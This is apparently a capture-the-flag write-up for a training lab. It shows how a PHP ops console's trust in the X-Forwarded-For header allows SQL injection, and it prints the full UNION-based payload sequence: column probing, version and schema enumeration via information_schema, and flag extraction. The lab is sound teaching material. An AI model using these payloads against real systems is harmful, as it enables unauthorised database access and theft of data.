Proxy Pursuit

LoadMesh's ops console shows live connection telemetry. Behind the login, one of the pages trusts a header the user fully controls. Login with admin / admin. The injection is not on any form.

Room Description

Proxy Pursuit — figure 1

https://dashboard.webverselabs-pro.com/challenges/proxy-pursuit

Scenario

LoadMesh's ops console trusts X-Forwarded-For for per-IP connection filtering — a classic oversight for infra that normally sits behind a trusted reverse proxy. The moment the console is exposed directly, that trust is a free SELECT. Credentials are admin / admin.

Objective

LoadMesh's ops console shows live connection telemetry. Behind the login, one of the pages trusts a header the user fully controls. Login with admin / admin. The injection is not on any form.

Initial Analysis

Let's get going, this should be the highest difficulty of the challenges so far.

We are met with a login page when we first open the URL, as far as I can see this is just fluff for now for added realism, we have the login credentials at the bottom.

Proxy Pursuit — figure 2
    <div class="hint">
      Dev build credentials: <code>admin / admin</code>
    </div>

Once pass the login page we have a dashboard with information.

Proxy Pursuit — figure 3

From the side navigation we can see the following endpoints, there isn't anything else that would cause redirection on the dashboard otherwise, just the side-nav:

  <nav class="side-nav">
    <a href="/dashboard.php"   class="active"><span class="ico">▢</span>Dashboard</a>
    <a href="/pools.php"       class=""><span class="ico">◇</span>Pools</a>
    <a href="/targets.php"     class=""><span class="ico">⚙</span>Targets</a>
    <a href="/connections.php" class=""><span class="ico">↯</span>Connections</a>
    <a href="/analytics.php"   class=""><span class="ico">⎙</span>Analytics</a>
    <a href="#"                class="disabled"><span class="ico">⚒</span>Settings</a>
  </nav>

From the dashboard.php URL, we can instantly tell it's a PHP based application, but we can also see this through the headers of the application.

HTTP/2 200 OK
Date: Mon, 27 Apr 2026 16:13:36 GMT
Content-Type: text/html; charset=UTF-8
Server: cloudflare
X-Powered-By: PHP/8.2.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Cf-Cache-Status: DYNAMIC
Server-Timing: cfCacheStatus;desc="DYNAMIC"
Server-Timing: cfEdge;dur=7,cfOrigin;dur=572
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vF%2FlUTpbLUkb8R5LFT%2BqcyQgJaOF%2Baen7odgAvxxil57elaeXuZZVaeKV%2BaZuHK3nfT5W8jPAN%2BXFJDuUrrslHR%2BsuHfGPk4IW15619NYGC7zCG4stRZlyNInqaxThDGQJblKyGepB92dFYJAQAPhfAcNAdJhv7RD779sljGnbFCyBYVvV4seC62uuzyEqbH0%2B7wfw%3D%3D"}]}
Cf-Ray: 9f2f1d8d6ff1d0ca-SOF
Alt-Svc: h3=":443"; ma=86400

Finding the bug

Alrighty, so before we start going through the application, we can heed the description of the lab to make it easier to find what we are looking for.

LoadMesh's ops console trusts X-Forwarded-For for per-IP connection filtering

This means that somewhere, something, is probably vulnerable to X-Forwarder-For malicious requests, the best way to find where we get some kind of different request is to compare requests everywhere with an without a X-Forwarded-For header.

https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Forwarded-For

https://portswigger.net/kb/issues/00400110_spoofable-client-ip-address

If an application trusts an HTTP request header like X-Forwarded-For to accurately specify the remote IP address of the connecting client, then malicious clients can spoof their IP address. This behavior does not necessarily constitute a security vulnerability, however some applications use client IP addresses to enforce access controls and rate limits. For example, an application might expose administrative functionality only to clients connecting from the local IP address of the server, or allow a certain number of failed login attempts from each unique IP address.

The easiest way for me to get a visual look after the header changes, as well as easy mode changing header requests is with ModHeader.

https://modheader.com/

Otherwise, Burp Suite works perfectly fine as well.

Let's get a baseline of what the pages look like without our header. We've already seen the dashboard.

Proxy Pursuit — figure 4

At /pools.php we have an option to create pools, but if this is a Stored SQLi thing, then it's going to take ages to finish.

Proxy Pursuit — figure 5

For /targets.php we have a similar setup, we can control targets through adding and deleting.

Proxy Pursuit — figure 6

Hm, /connections.php seems rather empty.

Proxy Pursuit — figure 7

Lastly, we have /analytics.php, which also, doesn't seem to have anything of note.

Alrighty, so we install ModHeader as an extension, we input a X-Forwarder-For header with a random value that we can easily look for in the responses.

Proxy Pursuit — figure 8

Don't mind the old headers, just there from other tasks :eyes:.

Now it's time to go through the application again and look for ANY discrepancies.

What our GET request looks like without the X-Forwarded-For header:

GET /dashboard.php HTTP/2
Host: b27b1ce4-3970-proxy-pursuit-67058.challenges.webverselabs-pro.com
Cookie: PHPSESSID=873d7495ed22425cc1b698b0934008e6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://b27b1ce4-3970-proxy-pursuit-67058.challenges.webverselabs-pro.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

We just blop an extra value if we're doing this with Burp that's like this exactly:

X-Forwarded-For: test12345

For /dashboard.php, we have 0 matches.

Proxy Pursuit — figure 9

Same outcome for /pools.php:

Proxy Pursuit — figure 10

And uhm, we don't see anything different either from /targets.php:

Proxy Pursuit — figure 11

But, we finally have something when we navigate to /connections.php!

Proxy Pursuit — figure 12

Luckily for this particular bug, the input of the X-Forwarded-For header is reflected back to us, otherwise, another way we could have tracked this down is to check for difference in content-length for the responses with our new header and without.

Proxy Pursuit — figure 13
Filtered by client IP: <value>

That phrasing is subtle, but important. It implies:

  • The backend is taking an IP value
  • Using it to filter database results
  • And reflecting it back to the user

Since that value comes from X-Forwarded-For, we fully control it.

The natural instinct is to try a basic injection:

X-Forwarded-For: 1' OR '1'='1
Proxy Pursuit — figure 14

The payload came back reflected, but nothing changed. No extra rows, no errors, no visible effect.

At this point, there are two possibilities:

  1. The input is sanitized
  2. The injection context isn’t what we assumed

Rather than forcing boolean logic, it made more sense to probe the query structure itself.

Let's try a UNION-based attack where we inject our own value and see how the web app reacts to it.

1' UNION SELECT 'pwned'--
Proxy Pursuit — figure 15

We get an error back that our query is badly structured, hm, let's try to add a trailing dash and see if anything is different.

1' UNION SELECT 'pwned'-- -
Proxy Pursuit — figure 16

This is amazing progress! So we know this type of attack would work, we just need to find the right amount of columns, we can re-use the same payload just with more values unitl we get a hit.

Exploitation

Knowing that we only need to find columns, let's adapt our payload. We can try with 3 columns first and foremost, the least I've seen in these challenges are 2, but 3 and up always makes more sense.

https://portswigger.net/web-security/sql-injection/union-attacks

The second method involves submitting a series of UNION SELECT payloads specifying a different number of null values:

' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.

If the number of nulls does not match the number of columns, the database returns an error, such as:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

We use NULL as the values returned from the injected SELECT query because the data types in each column must be compatible between the original and the injected queries. NULL is convertible to every common data type, so it maximizes the chance that the payload will succeed when the column count is correct.
1' UNION SELECT 'pwned',NULL,NULL-- -
Proxy Pursuit — figure 17

Well hello hello, we have our own personal row, we can of course manipulate the other two columns since they listened to us with the NULL values and didn't error out as well. Now it's time to enumerate the database.

Not only that, but we probably have the column names as well, timestamp, target and bytes.

From the behavior, the backend is likely doing something along the lines of:

SELECT timestamp, target, bytes
FROM connections
WHERE client_ip = '$ip'

Our payload closes the string:

'1'

Then appends:

UNION SELECT 'pwned',NULL,NULL

And comments out the rest.

Since we have our SQL Injection angle, time to get information, first things first, let's confirm what kind of database we are working with.

1' UNION SELECT @@version,2,3-- -
Proxy Pursuit — figure 18

This confirms that we are working with MySQL/MariaDB syntax and that we can use information_schema for further enumeration.

For knowledge and posterity sake, MySQL exposes a built-in database called information_schema that contains:

  • All table names
  • All column names
  • Database structure

https://dev.mysql.com/doc/refman/8.0/en/information-schema.html

Let's find out the table names from information_schema:

1' UNION SELECT table_name,2,3 
FROM information_schema.tables-- -
Proxy Pursuit — figure 19

That is a lot of table names, but if we scroll to the end we can see what we are after.

Proxy Pursuit — figure 20

In the future, since this way we are querying all the databases, we can try and select the current one in use with:

1' UNION SELECT database(),2,3 -- -
Proxy Pursuit — figure 21

So we would adapt our previous payload to:

1' UNION SELECT table_name,2,3  FROM information_schema.tables WHERE table_schema=database()-- -

and get a more refined result:

Proxy Pursuit — figure 22

Now we have the following tables to work with:

targets
connections
users
pools
admin_panel

To me, admin_panel sounds the juiciest, so let's go with that.

1' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='admin_panel'-- -
Proxy Pursuit — figure 23

Well that seems pretty simple then, let's extract the information from flag.

1' UNION SELECT flag,2,3 FROM admin_panel-- -
Proxy Pursuit — figure 24

Amazing lab, showing that injections can happen through Request headers as well, rather than just input fields, enumerate everything!